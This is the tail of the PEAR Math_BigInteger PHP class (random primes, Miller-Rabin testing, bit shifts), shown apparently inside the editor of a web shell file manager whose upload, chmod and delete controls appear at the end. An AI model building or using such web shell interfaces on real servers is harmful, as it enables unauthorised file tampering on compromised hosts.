     * Instead of the bottom x bits being dropped they're prepended to the shifted bit string.
     *
     * @param Integer $shift
     * @return Math_BigInteger
     * @access public
     */
    function bitwise_rightRotate($shift)
    {
        return $this-&gt;bitwise_leftRotate(-$shift);
    }

    /**
     * Set random number generator function
     *
     * $generator should be the name of a random generating function whose first parameter is the minimum
     * value and whose second parameter is the maximum value.  If this function needs to be seeded, it should
     * be seeded prior to calling Math_BigInteger::random() or Math_BigInteger::randomPrime()
     *
     * If the random generating function is not explicitly set, it'll be assumed to be mt_rand().
     *
     * @see random()
     * @see randomPrime()
     * @param optional String $generator
     * @access public
     */
    function setRandomGenerator($generator)
    {
        $this-&gt;generator = $generator;
    }

    /**
     * Generate a random number
     *
     * @param optional Integer $min
     * @param optional Integer $max
     * @return Math_BigInteger
     * @access public
     */
    function random($min = false, $max = false)
    {
        if ($min === false) {
            $min = new Math_BigInteger(0);
        }

        if ($max === false) {
            $max = new Math_BigInteger(0x7FFFFFFF);
        }

        $compare = $max-&gt;compare($min);

        if (!$compare) {
            return $this-&gt;_normalize($min);
        } else if ($compare &lt; 0) {
            // if $min is bigger then $max, swap $min and $max
            $temp = $max;
            $max = $min;
            $min = $temp;
        }

        $generator = $this-&gt;generator;

        $max = $max-&gt;subtract($min);
        $max = ltrim($max-&gt;toBytes(), chr(0));
        $size = strlen($max) - 1;
        $random = '';

        $bytes = $size &amp; 1;
        for ($i = 0; $i &lt; $bytes; ++$i) {
            $random.= chr($generator(0, 255));
        }

        $blocks = $size &gt;&gt; 1;
        for ($i = 0; $i &lt; $blocks; ++$i) {
            // mt_rand(-2147483648, 0x7FFFFFFF) always produces -2147483648 on some systems
            $random.= pack('n', $generator(0, 0xFFFF));
        }

        $temp = new Math_BigInteger($random, 256);
        if ($temp-&gt;compare(new Math_BigInteger(substr($max, 1), 256)) &gt; 0) {
            $random = chr($generator(0, ord($max[0]) - 1)) . $random;
        } else {
            $random = chr($generator(0, ord($max[0])    )) . $random;
        }

        $random = new Math_BigInteger($random, 256);

        return $this-&gt;_normalize($random-&gt;add($min));
    }

    /**
     * Generate a random prime number.
     *
     * If there's not a prime within the given range, false will be returned.  If more than $timeout seconds have elapsed,
     * give up and return false.
     *
     * @param optional Integer $min
     * @param optional Integer $max
     * @param optional Integer $timeout
     * @return Math_BigInteger
     * @access public
     * @internal See {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap4.pdf#page=15 HAC 4.44}.
     */
    function randomPrime($min = false, $max = false, $timeout = false)
    {
        $compare = $max-&gt;compare($min);

        if (!$compare) {
            return $min;
        } else if ($compare &lt; 0) {
            // if $min is bigger then $max, swap $min and $max
            $temp = $max;
            $max = $min;
            $min = $temp;
        }

        // gmp_nextprime() requires PHP 5 &gt;= 5.2.0 per &lt;http://php.net/gmp-nextprime&gt;.
        if ( MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_GMP &amp;&amp; function_exists('gmp_nextprime') ) {
            // we don't rely on Math_BigInteger::random()'s min / max when gmp_nextprime() is being used since this function
            // does its own checks on $max / $min when gmp_nextprime() is used.  When gmp_nextprime() is not used, however,
            // the same $max / $min checks are not performed.
            if ($min === false) {
                $min = new Math_BigInteger(0);
            }

            if ($max === false) {
                $max = new Math_BigInteger(0x7FFFFFFF);
            }

            $x = $this-&gt;random($min, $max);

            $x-&gt;value = gmp_nextprime($x-&gt;value);

            if ($x-&gt;compare($max) &lt;= 0) {
                return $x;
            }

            $x-&gt;value = gmp_nextprime($min-&gt;value);

            if ($x-&gt;compare($max) &lt;= 0) {
                return $x;
            }

            return false;
        }

        static $one, $two;
        if (!isset($one)) {
            $one = new Math_BigInteger(1);
            $two = new Math_BigInteger(2);
        }

        $start = time();

        $x = $this-&gt;random($min, $max);
        if ($x-&gt;equals($two)) {
            return $x;
        }

        $x-&gt;_make_odd();
        if ($x-&gt;compare($max) &gt; 0) {
            // if $x &gt; $max then $max is even and if $min == $max then no prime number exists between the specified range
            if ($min-&gt;equals($max)) {
                return false;
            }
            $x = $min-&gt;copy();
            $x-&gt;_make_odd();
        }

        $initial_x = $x-&gt;copy();

        while (true) {
            if ($timeout !== false &amp;&amp; time() - $start &gt; $timeout) {
                return false;
            }

            if ($x-&gt;isPrime()) {
                return $x;
            }

            $x = $x-&gt;add($two);

            if ($x-&gt;compare($max) &gt; 0) {
                $x = $min-&gt;copy();
                if ($x-&gt;equals($two)) {
                    return $x;
                }
                $x-&gt;_make_odd();
            }

            if ($x-&gt;equals($initial_x)) {
                return false;
            }
        }
    }

    /**
     * Make the current number odd
     *
     * If the current number is odd it'll be unchanged.  If it's even, one will be added to it.
     *
     * @see randomPrime()
     * @access private
     */
    function _make_odd()
    {
        switch ( MATH_BIGINTEGER_MODE ) {
            case MATH_BIGINTEGER_MODE_GMP:
                gmp_setbit($this-&gt;value, 0);
                break;
            case MATH_BIGINTEGER_MODE_BCMATH:
                if ($this-&gt;value[strlen($this-&gt;value) - 1] % 2 == 0) {
                    $this-&gt;value = bcadd($this-&gt;value, '1');
                }
                break;
            default:
                $this-&gt;value[0] |= 1;
        }
    }

    /**
     * Checks a numer to see if it's prime
     *
     * Assuming the $t parameter is not set, this function has an error rate of 2**-80.  The main motivation for the
     * $t parameter is distributability.  Math_BigInteger::randomPrime() can be distributed accross multiple pageloads
     * on a website instead of just one.
     *
     * @param optional Integer $t
     * @return Boolean
     * @access public
     * @internal Uses the
     *     {@link http://en.wikipedia.org/wiki/Miller%E2%80%93Rabin_primality_test Miller-Rabin primality test}.  See 
     *     {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap4.pdf#page=8 HAC 4.24}.
     */
    function isPrime($t = false)
    {
        $length = strlen($this-&gt;toBytes());

        if (!$t) {
            // see HAC 4.49 &quot;Note (controlling the error probability)&quot;
                 if ($length &gt;= 163) { $t =  2; } // floor(1300 / 8)
            else if ($length &gt;= 106) { $t =  3; } // floor( 850 / 8)
            else if ($length &gt;= 81 ) { $t =  4; } // floor( 650 / 8)
            else if ($length &gt;= 68 ) { $t =  5; } // floor( 550 / 8)
            else if ($length &gt;= 56 ) { $t =  6; } // floor( 450 / 8)
            else if ($length &gt;= 50 ) { $t =  7; } // floor( 400 / 8)
            else if ($length &gt;= 43 ) { $t =  8; } // floor( 350 / 8)
            else if ($length &gt;= 37 ) { $t =  9; } // floor( 300 / 8)
            else if ($length &gt;= 31 ) { $t = 12; } // floor( 250 / 8)
            else if ($length &gt;= 25 ) { $t = 15; } // floor( 200 / 8)
            else if ($length &gt;= 18 ) { $t = 18; } // floor( 150 / 8)
            else                     { $t = 27; }
        }

        // ie. gmp_testbit($this, 0)
        // ie. isEven() or !isOdd()
        switch ( MATH_BIGINTEGER_MODE ) {
            case MATH_BIGINTEGER_MODE_GMP:
                return gmp_prob_prime($this-&gt;value, $t) != 0;
            case MATH_BIGINTEGER_MODE_BCMATH:
                if ($this-&gt;value === '2') {
                    return true;
                }
                if ($this-&gt;value[strlen($this-&gt;value) - 1] % 2 == 0) {
                    return false;
                }
                break;
            default:
                if ($this-&gt;value == array(2)) {
                    return true;
                }
                if (~$this-&gt;value[0] &amp; 1) {
                    return false;
                }
        }

        static $primes, $zero, $one, $two;

        if (!isset($primes)) {
            $primes = array(
                3,    5,    7,    11,   13,   17,   19,   23,   29,   31,   37,   41,   43,   47,   53,   59,   
                61,   67,   71,   73,   79,   83,   89,   97,   101,  103,  107,  109,  113,  127,  131,  137,  
                139,  149,  151,  157,  163,  167,  173,  179,  181,  191,  193,  197,  199,  211,  223,  227,  
                229,  233,  239,  241,  251,  257,  263,  269,  271,  277,  281,  283,  293,  307,  311,  313,  
                317,  331,  337,  347,  349,  353,  359,  367,  373,  379,  383,  389,  397,  401,  409,  419,  
                421,  431,  433,  439,  443,  449,  457,  461,  463,  467,  479,  487,  491,  499,  503,  509,  
                521,  523,  541,  547,  557,  563,  569,  571,  577,  587,  593,  599,  601,  607,  613,  617,  
                619,  631,  641,  643,  647,  653,  659,  661,  673,  677,  683,  691,  701,  709,  719,  727,  
                733,  739,  743,  751,  757,  761,  769,  773,  787,  797,  809,  811,  821,  823,  827,  829,  
                839,  853,  857,  859,  863,  877,  881,  883,  887,  907,  911,  919,  929,  937,  941,  947,  
                953,  967,  971,  977,  983,  991,  997
            );

            if ( MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_INTERNAL ) {
                for ($i = 0; $i &lt; count($primes); ++$i) {
                    $primes[$i] = new Math_BigInteger($primes[$i]);
                }
            }

            $zero = new Math_BigInteger();
            $one = new Math_BigInteger(1);
            $two = new Math_BigInteger(2);
        }

        if ($this-&gt;equals($one)) {
            return false;
        }

        // see HAC 4.4.1 &quot;Random search for probable primes&quot;
        if ( MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_INTERNAL ) {
            foreach ($primes as $prime) {
                list(, $r) = $this-&gt;divide($prime);
                if ($r-&gt;equals($zero)) {
                    return $this-&gt;equals($prime);
                }
            }
        } else {
            $value = $this-&gt;value;
            foreach ($primes as $prime) {
                list(, $r) = $this-&gt;_divide_digit($value, $prime);
                if (!$r) {
                    return count($value) == 1 &amp;&amp; $value[0] == $prime;
                }
            }
        }

        $n   = $this-&gt;copy();
        $n_1 = $n-&gt;subtract($one);
        $n_2 = $n-&gt;subtract($two);

        $r = $n_1-&gt;copy();
        $r_value = $r-&gt;value;
        // ie. $s = gmp_scan1($n, 0) and $r = gmp_div_q($n, gmp_pow(gmp_init('2'), $s));
        if ( MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_BCMATH ) {
            $s = 0;
            // if $n was 1, $r would be 0 and this would be an infinite loop, hence our $this-&gt;equals($one) check earlier
            while ($r-&gt;value[strlen($r-&gt;value) - 1] % 2 == 0) {
                $r-&gt;value = bcdiv($r-&gt;value, '2', 0);
                ++$s;
            }
        } else {
            for ($i = 0, $r_length = count($r_value); $i &lt; $r_length; ++$i) {
                $temp = ~$r_value[$i] &amp; 0xFFFFFF;
                for ($j = 1; ($temp &gt;&gt; $j) &amp; 1; ++$j);
                if ($j != 25) {
                    break;
                }
            }
            $s = 26 * $i + $j - 1;
            $r-&gt;_rshift($s);
        }

        for ($i = 0; $i &lt; $t; ++$i) {
            $a = $this-&gt;random($two, $n_2);
            $y = $a-&gt;modPow($r, $n);

            if (!$y-&gt;equals($one) &amp;&amp; !$y-&gt;equals($n_1)) {
                for ($j = 1; $j &lt; $s &amp;&amp; !$y-&gt;equals($n_1); ++$j) {
                    $y = $y-&gt;modPow($two, $n);
                    if ($y-&gt;equals($one)) {
                        return false;
                    }
                }

                if (!$y-&gt;equals($n_1)) {
                    return false;
                }
            }
        }
        return true;
    }

    /**
     * Logical Left Shift
     *
     * Shifts BigInteger's by $shift bits.
     *
     * @param Integer $shift
     * @access private
     */
    function _lshift($shift)
    {
        if ( $shift == 0 ) {
            return;
        }

        $num_digits = (int) ($shift / 26);
        $shift %= 26;
        $shift = 1 &lt;&lt; $shift;

        $carry = 0;

        for ($i = 0; $i &lt; count($this-&gt;value); ++$i) {
            $temp = $this-&gt;value[$i] * $shift + $carry;
            $carry = (int) ($temp / 0x4000000);
            $this-&gt;value[$i] = (int) ($temp - $carry * 0x4000000);
        }

        if ( $carry ) {
            $this-&gt;value[] = $carry;
        }

        while ($num_digits--) {
            array_unshift($this-&gt;value, 0);
        }
    }

    /**
     * Logical Right Shift
     *
     * Shifts BigInteger's by $shift bits.
     *
     * @param Integer $shift
     * @access private
     */
    function _rshift($shift)
    {
        if ($shift == 0) {
            return;
        }

        $num_digits = (int) ($shift / 26);
        $shift %= 26;
        $carry_shift = 26 - $shift;
        $carry_mask = (1 &lt;&lt; $shift) - 1;

        if ( $num_digits ) {
            $this-&gt;value = array_slice($this-&gt;value, $num_digits);
        }

        $carry = 0;

        for ($i = count($this-&gt;value) - 1; $i &gt;= 0; --$i) {
            $temp = $this-&gt;value[$i] &gt;&gt; $shift | $carry;
            $carry = ($this-&gt;value[$i] &amp; $carry_mask) &lt;&lt; $carry_shift;
            $this-&gt;value[$i] = $temp;
        }

        $this-&gt;value = $this-&gt;_trim($this-&gt;value);
    }

    /**
     * Normalize
     *
     * Removes leading zeros and truncates (if necessary) to maintain the appropriate precision
     *
     * @param Math_BigInteger
     * @return Math_BigInteger
     * @see _trim()
     * @access private
     */
    function _normalize($result)
    {
        $result-&gt;precision = $this-&gt;precision;
        $result-&gt;bitmask = $this-&gt;bitmask;

        switch ( MATH_BIGINTEGER_MODE ) {
            case MATH_BIGINTEGER_MODE_GMP:
                if (!empty($result-&gt;bitmask-&gt;value)) {
                    $result-&gt;value = gmp_and($result-&gt;value, $result-&gt;bitmask-&gt;value);
                }

                return $result;
            case MATH_BIGINTEGER_MODE_BCMATH:
                if (!empty($result-&gt;bitmask-&gt;value)) {
                    $result-&gt;value = bcmod($result-&gt;value, $result-&gt;bitmask-&gt;value);
                }

                return $result;
        }

        $value = &amp;$result-&gt;value;

        if ( !count($value) ) {
            return $result;
        }

        $value = $this-&gt;_trim($value);

        if (!empty($result-&gt;bitmask-&gt;value)) {
            $length = min(count($value), count($this-&gt;bitmask-&gt;value));
            $value = array_slice($value, 0, $length);

            for ($i = 0; $i &lt; $length; ++$i) {
                $value[$i] = $value[$i] &amp; $this-&gt;bitmask-&gt;value[$i];
            }
        }

        return $result;
    }

    /**
     * Trim
     *
     * Removes leading zeros
     *
     * @return Math_BigInteger
     * @access private
     */
    function _trim($value)
    {
        for ($i = count($value) - 1; $i &gt;= 0; --$i) {
            if ( $value[$i] ) {
                break;
            }
            unset($value[$i]);
        }

        return $value;
    }

    /**
     * Array Repeat
     *
     * @param $input Array
     * @param $multiplier mixed
     * @return Array
     * @access private
     */
    function _array_repeat($input, $multiplier)
    {
        return ($multiplier) ? array_fill(0, $multiplier, $input) : array();
    }

    /**
     * Logical Left Shift
     *
     * Shifts binary strings $shift bits, essentially multiplying by 2**$shift.
     *
     * @param $x String
     * @param $shift Integer
     * @return String
     * @access private
     */
    function _base256_lshift(&amp;$x, $shift)
    {
        if ($shift == 0) {
            return;
        }

        $num_bytes = $shift &gt;&gt; 3; // eg. floor($shift/8)
        $shift &amp;= 7; // eg. $shift % 8

        $carry = 0;
        for ($i = strlen($x) - 1; $i &gt;= 0; --$i) {
            $temp = ord($x[$i]) &lt;&lt; $shift | $carry;
            $x[$i] = chr($temp);
            $carry = $temp &gt;&gt; 8;
        }
        $carry = ($carry != 0) ? chr($carry) : '';
        $x = $carry . $x . str_repeat(chr(0), $num_bytes);
    }

    /**
     * Logical Right Shift
     *
     * Shifts binary strings $shift bits, essentially dividing by 2**$shift and returning the remainder.
     *
     * @param $x String
     * @param $shift Integer
     * @return String
     * @access private
     */
    function _base256_rshift(&amp;$x, $shift)
    {
        if ($shift == 0) {
            $x = ltrim($x, chr(0));
            return '';
        }

        $num_bytes = $shift &gt;&gt; 3; // eg. floor($shift/8)
        $shift &amp;= 7; // eg. $shift % 8

        $remainder = '';
        if ($num_bytes) {
            $start = $num_bytes &gt; strlen($x) ? -strlen($x) : -$num_bytes;
            $remainder = substr($x, $start);
            $x = substr($x, 0, -$num_bytes);
        }

        $carry = 0;
        $carry_shift = 8 - $shift;
        for ($i = 0; $i &lt; strlen($x); ++$i) {
            $temp = (ord($x[$i]) &gt;&gt; $shift) | $carry;
            $carry = (ord($x[$i]) &lt;&lt; $carry_shift) &amp; 0xFF;
            $x[$i] = chr($temp);
        }
        $x = ltrim($x, chr(0));

        $remainder = chr($carry &gt;&gt; $carry_shift) . $remainder;

        return ltrim($remainder, chr(0));
    }

    // one quirk about how the following functions are implemented is that PHP defines N to be an unsigned long
    // at 32-bits, while java's longs are 64-bits.

    /**
     * Converts 32-bit integers to bytes.
     *
     * @param Integer $x
     * @return String
     * @access private
     */
    function _int2bytes($x)
    {
        return ltrim(pack('N', $x), chr(0));
    }

    /**
     * Converts bytes to 32-bit integers
     *
     * @param String $x
     * @return Integer
     * @access private
     */
    function _bytes2int($x)
    {
        $temp = unpack('Nint', str_pad($x, 4, chr(0), STR_PAD_LEFT));
        return $temp['int'];
    }
}</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=QzpceGFtcHBcaHdzb2Z0">C:\xampp\hwsoft</a><hr>curdir: C:\xampp\php\pear\Math<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWF0aA=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTWF0aA==&f=Lg==&c=`+btoa(c):0" value="0777"></td><td>4096</td></tr><tr><td></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXI="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTWF0aA==&f=Li4=&c=`+btoa(c):0" value="0777"></td><td>16384</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWF0aA==&x=QmFzZXgucGhw">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWF0aA==&f=QmFzZXgucGhw"/>Basex.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTWF0aA==&f=QmFzZXgucGhw&c=`+btoa(c):0" value="0666"></td><td>11940</td></tr><tr><td></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWF0aFxCaWdJbnRlZ2Vy"/>BigInteger</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTWF0aA==&f=QmlnSW50ZWdlcg==&c=`+btoa(c):0" value="0777"></td><td>0</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWF0aA==&x=QmlnSW50ZWdlci5waHA=">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWF0aA==&f=QmlnSW50ZWdlci5waHA="/>BigInteger.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTWF0aA==&f=QmlnSW50ZWdlci5waHA=&c=`+btoa(c):0" value="0666"></td><td>121534</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWF0aA==&x=RmluYW5jZS5waHA=">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWF0aA==&f=RmluYW5jZS5waHA="/>Finance.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTWF0aA==&f=RmluYW5jZS5waHA=&c=`+btoa(c):0" value="0666"></td><td>32452</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWF0aA==&x=RmluYW5jZV9GdW5jdGlvblBhcmFtZXRlcnMucGhw">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWF0aA==&f=RmluYW5jZV9GdW5jdGlvblBhcmFtZXRlcnMucGhw"/>Finance_FunctionParameters.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTWF0aA==&f=RmluYW5jZV9GdW5jdGlvblBhcmFtZXRlcnMucGhw&c=`+btoa(c):0" value="0666"></td><td>1378</td></tr><tr><td></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcTWF0aFxOdW1lcmljYWw="/>Numerical</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcTWF0aA==&f=TnVtZXJpY2Fs&c=`+btoa(c):0" value="0777"></td><td>0</td></tr></table>